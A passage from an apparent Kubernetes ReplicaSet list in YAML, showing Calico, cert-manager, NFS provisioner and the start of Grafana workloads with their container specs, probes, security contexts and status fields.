          hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
          tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: calico-kube-controllers
          k8s-app: calico-kube-controllers
          pod-template-hash: d595576c
        name: calico-kube-controllers
        namespace: calico-system
      spec:
        containers:
        - env:
          - name: KUBE_CONTROLLERS_CONFIG_NAME
            value: default
          - name: DATASTORE_TYPE
            value: kubernetes
          - name: ENABLED_CONTROLLERS
            value: node,loadbalancer
          - name: DISABLE_KUBE_CONTROLLERS_CONFIG_API
            value: "false"
          - name: KUBERNETES_SERVICE_HOST
            value: 10.96.0.1
          - name: KUBERNETES_SERVICE_PORT
            value: "443"
          - name: CA_CRT_PATH
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          image: quay.io/calico/kube-controllers:v3.30.4
          imagePullPolicy: IfNotPresent
          livenessProbe:
            exec:
              command:
              - /usr/bin/check-status
              - -l
            failureThreshold: 6
            initialDelaySeconds: 10
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 10
          name: calico-kube-controllers
          readinessProbe:
            exec:
              command:
              - /usr/bin/check-status
              - -r
            failureThreshold: 3
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 10
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 0
            runAsNonRoot: true
            runAsUser: 999
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/pki/tls/certs
            name: tigera-ca-bundle
            readOnly: true
          - mountPath: /etc/pki/tls/cert.pem
            name: tigera-ca-bundle
            readOnly: true
            subPath: ca-bundle.crt
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: calico-kube-controllers
        serviceAccountName: calico-kube-controllers
        terminationGracePeriodSeconds: 30
        tolerations:
        - effect: NoSchedule
          key: node-role.kubernetes.io/master
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        - key: CriticalAddonsOnly
          operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: tigera-ca-bundle
          name: tigera-ca-bundle
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "2"
      deployment.kubernetes.io/max-replicas: "4"
      deployment.kubernetes.io/revision: "2"
    creationTimestamp: "2025-10-19T16:24:41Z"
    generation: 1
    labels:
      app.kubernetes.io/name: calico-typha
      k8s-app: calico-typha
      pod-template-hash: 68b6598cf8
    name: calico-typha-68b6598cf8
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: calico-typha
      uid: 434ee0a3-b582-47a5-8511-fca10843a14a
    resourceVersion: "18033425"
    uid: 89bd350e-3cac-4756-bbd2-a04ba9bf08a3
  spec:
    replicas: 2
    selector:
      matchLabels:
        k8s-app: calico-typha
        pod-template-hash: 68b6598cf8
    template:
      metadata:
        annotations:
          hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
          tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
          tigera-operator.hash.operator.tigera.io/typha-certs: 229930b535eada8da6b599d783237feff23e7b7c
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: calico-typha
          k8s-app: calico-typha
          pod-template-hash: 68b6598cf8
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchExpressions:
                  - key: k8s-app
                    operator: In
                    values:
                    - calico-typha
                topologyKey: topology.kubernetes.io/zone
              weight: 1
        containers:
        - env:
          - name: TYPHA_LOGSEVERITYSCREEN
            value: info
          - name: TYPHA_LOGFILEPATH
            value: none
          - name: TYPHA_LOGSEVERITYSYS
            value: none
          - name: TYPHA_CONNECTIONREBALANCINGMODE
            value: kubernetes
          - name: TYPHA_DATASTORETYPE
            value: kubernetes
          - name: TYPHA_HEALTHENABLED
            value: "true"
          - name: TYPHA_HEALTHPORT
            value: "9098"
          - name: TYPHA_K8SNAMESPACE
            value: calico-system
          - name: TYPHA_CAFILE
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          - name: TYPHA_SERVERCERTFILE
            value: /typha-certs/tls.crt
          - name: TYPHA_SERVERKEYFILE
            value: /typha-certs/tls.key
          - name: TYPHA_SHUTDOWNTIMEOUTSECS
            value: "300"
          - name: TYPHA_CLIENTCN
            value: typha-client
          - name: KUBERNETES_SERVICE_HOST
            value: 10.96.0.1
          - name: KUBERNETES_SERVICE_PORT
            value: "443"
          image: quay.io/calico/typha:v3.30.4
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              host: localhost
              path: /liveness
              port: 9098
              scheme: HTTP
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 10
          name: calico-typha
          ports:
          - containerPort: 5473
            name: calico-typha
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              host: localhost
              path: /readiness
              port: 9098
              scheme: HTTP
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 10
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/pki/tls/certs
            name: tigera-ca-bundle
            readOnly: true
          - mountPath: /etc/pki/tls/cert.pem
            name: tigera-ca-bundle
            readOnly: true
            subPath: ca-bundle.crt
          - mountPath: /typha-certs
            name: typha-certs
            readOnly: true
        dnsPolicy: ClusterFirst
        hostNetwork: true
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: calico-typha
        serviceAccountName: calico-typha
        terminationGracePeriodSeconds: 300
        tolerations:
        - key: CriticalAddonsOnly
          operator: Exists
        - effect: NoSchedule
          operator: Exists
        - effect: NoExecute
          operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: tigera-ca-bundle
          name: tigera-ca-bundle
        - name: typha-certs
          secret:
            defaultMode: 420
            secretName: typha-certs
  status:
    availableReplicas: 2
    fullyLabeledReplicas: 2
    observedGeneration: 1
    readyReplicas: 2
    replicas: 2
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "2"
      deployment.kubernetes.io/max-replicas: "4"
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-10-19T16:12:26Z"
    generation: 4
    labels:
      app.kubernetes.io/name: calico-typha
      k8s-app: calico-typha
      pod-template-hash: 86d984645f
    name: calico-typha-86d984645f
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: calico-typha
      uid: 434ee0a3-b582-47a5-8511-fca10843a14a
    resourceVersion: "6824812"
    uid: 4bdcd0fe-e52a-4d70-b013-c56b89f15481
  spec:
    replicas: 0
    selector:
      matchLabels:
        k8s-app: calico-typha
        pod-template-hash: 86d984645f
    template:
      metadata:
        annotations:
          hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
          tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
          tigera-operator.hash.operator.tigera.io/typha-certs: 229930b535eada8da6b599d783237feff23e7b7c
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: calico-typha
          k8s-app: calico-typha
          pod-template-hash: 86d984645f
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchExpressions:
                  - key: k8s-app
                    operator: In
                    values:
                    - calico-typha
                topologyKey: topology.kubernetes.io/zone
              weight: 1
            requiredDuringSchedulingIgnoredDuringExecution:
            - labelSelector:
                matchLabels:
                  k8s-app: calico-typha
              namespaces:
              - kube-system
              topologyKey: kubernetes.io/hostname
        containers:
        - env:
          - name: TYPHA_LOGSEVERITYSCREEN
            value: info
          - name: TYPHA_LOGFILEPATH
            value: none
          - name: TYPHA_LOGSEVERITYSYS
            value: none
          - name: TYPHA_CONNECTIONREBALANCINGMODE
            value: kubernetes
          - name: TYPHA_DATASTORETYPE
            value: kubernetes
          - name: TYPHA_HEALTHENABLED
            value: "true"
          - name: TYPHA_HEALTHPORT
            value: "9098"
          - name: TYPHA_K8SNAMESPACE
            value: calico-system
          - name: TYPHA_CAFILE
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          - name: TYPHA_SERVERCERTFILE
            value: /typha-certs/tls.crt
          - name: TYPHA_SERVERKEYFILE
            value: /typha-certs/tls.key
          - name: TYPHA_SHUTDOWNTIMEOUTSECS
            value: "300"
          - name: TYPHA_CLIENTCN
            value: typha-client
          - name: KUBERNETES_SERVICE_HOST
            value: 10.96.0.1
          - name: KUBERNETES_SERVICE_PORT
            value: "443"
          image: quay.io/calico/typha:v3.30.4
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              host: localhost
              path: /liveness
              port: 9098
              scheme: HTTP
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 10
          name: calico-typha
          ports:
          - containerPort: 5473
            name: calico-typha
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              host: localhost
              path: /readiness
              port: 9098
              scheme: HTTP
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 10
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/pki/tls/certs
            name: tigera-ca-bundle
            readOnly: true
          - mountPath: /etc/pki/tls/cert.pem
            name: tigera-ca-bundle
            readOnly: true
            subPath: ca-bundle.crt
          - mountPath: /typha-certs
            name: typha-certs
            readOnly: true
        dnsPolicy: ClusterFirst
        hostNetwork: true
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: calico-typha
        serviceAccountName: calico-typha
        terminationGracePeriodSeconds: 300
        tolerations:
        - key: CriticalAddonsOnly
          operator: Exists
        - effect: NoSchedule
          operator: Exists
        - effect: NoExecute
          operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: tigera-ca-bundle
          name: tigera-ca-bundle
        - name: typha-certs
          secret:
            defaultMode: 420
            secretName: typha-certs
  status:
    observedGeneration: 4
    replicas: 0
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "1"
      deployment.kubernetes.io/revision: "1"
      tigera-operator.hash.operator.tigera.io/goldmane-key-pair: 48aa69c7aba43ad235e764c744932f36e421fa2c
    creationTimestamp: "2025-10-19T16:26:42Z"
    generation: 1
    labels:
      app.kubernetes.io/name: goldmane
      k8s-app: goldmane
      pod-template-hash: 74cb5d9557
    name: goldmane-74cb5d9557
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: goldmane
      uid: c4b05a78-48b1-4798-9dc7-72672ea1835e
    resourceVersion: "18046519"
    uid: 136a0386-775c-41d8-b46b-06a671d1b33c
  spec:
    replicas: 1
    selector:
      matchLabels:
        k8s-app: goldmane
        pod-template-hash: 74cb5d9557
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: goldmane
          k8s-app: goldmane
          pod-template-hash: 74cb5d9557
        name: goldmane
      spec:
        containers:
        - env:
          - name: LOG_LEVEL
            value: INFO
          - name: PORT
            value: "7443"
          - name: SERVER_CERT_PATH
            value: /goldmane-key-pair/tls.crt
          - name: SERVER_KEY_PATH
            value: /goldmane-key-pair/tls.key
          - name: CA_CERT_PATH
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          - name: PUSH_URL
            value: https://guardian.calico-system.svc.cluster.local:443/api/v1/flows/bulk
          - name: FILE_CONFIG_PATH
            value: /config/config.json
          - name: HEALTH_ENABLED
            value: "true"
          image: quay.io/calico/goldmane:v3.30.4
          imagePullPolicy: IfNotPresent
          livenessProbe:
            exec:
              command:
              - /health
              - -live
            failureThreshold: 3
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 5
          name: goldmane
          readinessProbe:
            exec:
              command:
              - /health
              - -ready
            failureThreshold: 3
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /config
            name: config
            readOnly: true
          - mountPath: /etc/pki/tls/certs
            name: goldmane-ca-bundle
            readOnly: true
          - mountPath: /goldmane-key-pair
            name: goldmane-key-pair
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: goldmane
        serviceAccountName: goldmane
        terminationGracePeriodSeconds: 30
        tolerations:
        - effect: NoSchedule
          key: node-role.kubernetes.io/master
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        - key: CriticalAddonsOnly
          operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: goldmane
          name: config
        - configMap:
            defaultMode: 420
            name: goldmane-ca-bundle
          name: goldmane-ca-bundle
        - name: goldmane-key-pair
          secret:
            defaultMode: 420
            secretName: goldmane-key-pair
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "1"
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-10-19T16:26:58Z"
    generation: 1
    labels:
      app.kubernetes.io/name: whisker
      k8s-app: whisker
      pod-template-hash: 796cf9b5d7
    name: whisker-796cf9b5d7
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: whisker
      uid: 60718f56-3ae4-4cf5-bf5a-3ace1eb78367
    resourceVersion: "18033636"
    uid: dd4622fc-fa1e-4b9e-950b-a3e05223523f
  spec:
    replicas: 1
    selector:
      matchLabels:
        k8s-app: whisker
        pod-template-hash: 796cf9b5d7
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: whisker
          k8s-app: whisker
          pod-template-hash: 796cf9b5d7
        name: whisker
      spec:
        containers:
        - env:
          - name: LOG_LEVEL
            value: INFO
          - name: CALICO_VERSION
            value: v3.30.4
          - name: CLUSTER_ID
            value: 4340eeee73184b3e9a0bb5daa080f23d
          - name: CLUSTER_TYPE
            value: k8s,bgp,kubeadm,kdd,typha,operator
          - name: NOTIFICATIONS
            value: Enabled
          image: quay.io/calico/whisker:v3.30.4
          imagePullPolicy: IfNotPresent
          name: whisker
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        - env:
          - name: LOG_LEVEL
            value: INFO
          - name: PORT
            value: "3002"
          - name: GOLDMANE_HOST
            value: goldmane.calico-system.svc.cluster.local:7443
          - name: TLS_CERT_PATH
            value: /whisker-backend-key-pair/tls.crt
          - name: TLS_KEY_PATH
            value: /whisker-backend-key-pair/tls.key
          image: quay.io/calico/whisker-backend:v3.30.4
          imagePullPolicy: IfNotPresent
          name: whisker-backend
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /whisker-backend-key-pair
            name: whisker-backend-key-pair
            readOnly: true
          - mountPath: /etc/pki/tls/certs
            name: whisker-ca-bundle
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: whisker
        serviceAccountName: whisker
        terminationGracePeriodSeconds: 30
        tolerations:
        - effect: NoSchedule
          key: node-role.kubernetes.io/master
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        - key: CriticalAddonsOnly
          operator: Exists
        volumes:
        - name: whisker-backend-key-pair
          secret:
            defaultMode: 420
            secretName: whisker-backend-key-pair
        - configMap:
            defaultMode: 420
            name: whisker-ca-bundle
          name: whisker-ca-bundle
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:25Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 58dd99f969
    name: cert-manager-58dd99f969
    namespace: cert-manager
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: cert-manager
      uid: c1ce6ee4-6b40-42a4-9158-7d5416d2fb0d
    resourceVersion: "18046322"
    uid: 5d4f8318-21d9-4709-8510-2d66685f2dcc
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: controller
        app.kubernetes.io/instance: cert-manager
        app.kubernetes.io/name: cert-manager
        pod-template-hash: 58dd99f969
    template:
      metadata:
        annotations:
          prometheus.io/path: /metrics
          prometheus.io/port: "9402"
          prometheus.io/scrape: "true"
        creationTimestamp: null
        labels:
          app: cert-manager
          app.kubernetes.io/component: controller
          app.kubernetes.io/instance: cert-manager
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: cert-manager
          app.kubernetes.io/version: v1.18.2
          helm.sh/chart: cert-manager-v1.18.2
          pod-template-hash: 58dd99f969
      spec:
        containers:
        - args:
          - --v=2
          - --cluster-resource-namespace=$(POD_NAMESPACE)
          - --leader-election-namespace=kube-system
          - --acme-http01-solver-image=quay.io/jetstack/cert-manager-acmesolver:v1.18.2
          - --max-concurrent-challenges=60
          env:
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          image: quay.io/jetstack/cert-manager-controller:v1.18.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 8
            httpGet:
              path: /livez
              port: http-healthz
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 15
          name: cert-manager-controller
          ports:
          - containerPort: 9402
            name: http-metrics
            protocol: TCP
          - containerPort: 9403
            name: http-healthz
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        enableServiceLinks: false
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: cert-manager
        serviceAccountName: cert-manager
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:25Z"
    generation: 1
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 55cd9f77b5
    name: cert-manager-cainjector-55cd9f77b5
    namespace: cert-manager
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: cert-manager-cainjector
      uid: babee60f-0d86-4ecb-92ee-2688de6bbbba
    resourceVersion: "18046347"
    uid: bb16a244-b4d3-421c-8b4e-08b954a1bc03
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: cainjector
        app.kubernetes.io/instance: cert-manager
        app.kubernetes.io/name: cainjector
        pod-template-hash: 55cd9f77b5
    template:
      metadata:
        annotations:
          prometheus.io/path: /metrics
          prometheus.io/port: "9402"
          prometheus.io/scrape: "true"
        creationTimestamp: null
        labels:
          app: cainjector
          app.kubernetes.io/component: cainjector
          app.kubernetes.io/instance: cert-manager
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: cainjector
          app.kubernetes.io/version: v1.18.2
          helm.sh/chart: cert-manager-v1.18.2
          pod-template-hash: 55cd9f77b5
      spec:
        containers:
        - args:
          - --v=2
          - --leader-election-namespace=kube-system
          env:
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          image: quay.io/jetstack/cert-manager-cainjector:v1.18.2
          imagePullPolicy: IfNotPresent
          name: cert-manager-cainjector
          ports:
          - containerPort: 9402
            name: http-metrics
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        enableServiceLinks: false
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: cert-manager-cainjector
        serviceAccountName: cert-manager-cainjector
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:25Z"
    generation: 1
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 7987476d56
    name: cert-manager-webhook-7987476d56
    namespace: cert-manager
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: cert-manager-webhook
      uid: 7ed30729-3d50-4c41-8bcd-7a40f873dc4d
    resourceVersion: "18008217"
    uid: db593cbd-bae6-44be-99d6-6f97b41fdf36
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: webhook
        app.kubernetes.io/instance: cert-manager
        app.kubernetes.io/name: webhook
        pod-template-hash: 7987476d56
    template:
      metadata:
        annotations:
          prometheus.io/path: /metrics
          prometheus.io/port: "9402"
          prometheus.io/scrape: "true"
        creationTimestamp: null
        labels:
          app: webhook
          app.kubernetes.io/component: webhook
          app.kubernetes.io/instance: cert-manager
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: webhook
          app.kubernetes.io/version: v1.18.2
          helm.sh/chart: cert-manager-v1.18.2
          pod-template-hash: 7987476d56
      spec:
        containers:
        - args:
          - --v=2
          - --secure-port=10250
          - --dynamic-serving-ca-secret-namespace=$(POD_NAMESPACE)
          - --dynamic-serving-ca-secret-name=cert-manager-webhook-ca
          - --dynamic-serving-dns-names=cert-manager-webhook
          - --dynamic-serving-dns-names=cert-manager-webhook.$(POD_NAMESPACE)
          - --dynamic-serving-dns-names=cert-manager-webhook.$(POD_NAMESPACE).svc
          env:
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          image: quay.io/jetstack/cert-manager-webhook:v1.18.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /livez
              port: healthcheck
              scheme: HTTP
            initialDelaySeconds: 60
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: cert-manager-webhook
          ports:
          - containerPort: 10250
            name: https
            protocol: TCP
          - containerPort: 6080
            name: healthcheck
            protocol: TCP
          - containerPort: 9402
            name: http-metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: healthcheck
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        enableServiceLinks: false
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: cert-manager-webhook
        serviceAccountName: cert-manager-webhook
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "1"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
    creationTimestamp: "2025-09-26T00:42:52Z"
    generation: 1
    labels:
      app: nfs-subdir-external-provisioner
      pod-template-hash: 5545d686cd
      release: nfs-subdir-external-provisioner
    name: nfs-subdir-external-provisioner-5545d686cd
    namespace: default
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: nfs-subdir-external-provisioner
      uid: e34c653f-924a-4e8b-9357-62d895981122
    resourceVersion: "18032474"
    uid: e39a1c55-d789-4ee7-9f6a-7c8334a9e7dd
  spec:
    replicas: 1
    selector:
      matchLabels:
        app: nfs-subdir-external-provisioner
        pod-template-hash: 5545d686cd
        release: nfs-subdir-external-provisioner
    template:
      metadata:
        creationTimestamp: null
        labels:
          app: nfs-subdir-external-provisioner
          pod-template-hash: 5545d686cd
          release: nfs-subdir-external-provisioner
      spec:
        containers:
        - env:
          - name: PROVISIONER_NAME
            value: cluster.local/nfs-subdir-external-provisioner
          - name: NFS_SERVER
            value: 172.16.30.245
          - name: NFS_PATH
            value: /srv/nfs
          image: registry.k8s.io/sig-storage/nfs-subdir-external-provisioner:v4.0.2
          imagePullPolicy: IfNotPresent
          name: nfs-subdir-external-provisioner
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /persistentvolumes
            name: nfs-subdir-external-provisioner-root
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: nfs-subdir-external-provisioner
        serviceAccountName: nfs-subdir-external-provisioner
        terminationGracePeriodSeconds: 30
        volumes:
        - name: nfs-subdir-external-provisioner-root
          nfs:
            path: /srv/nfs
            server: 172.16.30.245
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/name: grafana
